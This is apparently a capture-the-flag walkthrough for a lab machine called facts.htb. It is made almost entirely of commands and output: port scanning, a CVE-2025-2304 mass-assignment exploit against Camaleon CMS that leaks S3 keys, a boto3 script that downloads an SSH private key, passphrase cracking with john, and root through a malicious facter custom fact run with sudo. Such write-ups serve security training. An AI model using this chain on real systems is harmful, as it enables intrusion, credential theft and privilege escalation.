Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root

sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>

22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu
80/tcp    open  http    nginx 1.26.3 (Camaleon CMS)
54321/tcp open  http    MinIO S3 Server

echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts

feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

[+] Login confirmed
    Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

.ssh/authorized_keys
.ssh/id_ed25519        ← SSH private key
.profile
.bashrc

chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Enter passphrase: dragonballz

cat /home/william/user.txt

sudo -l

(ALL) NOPASSWD: /usr/bin/facter

mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

whoami   # root
cat /root/root.txt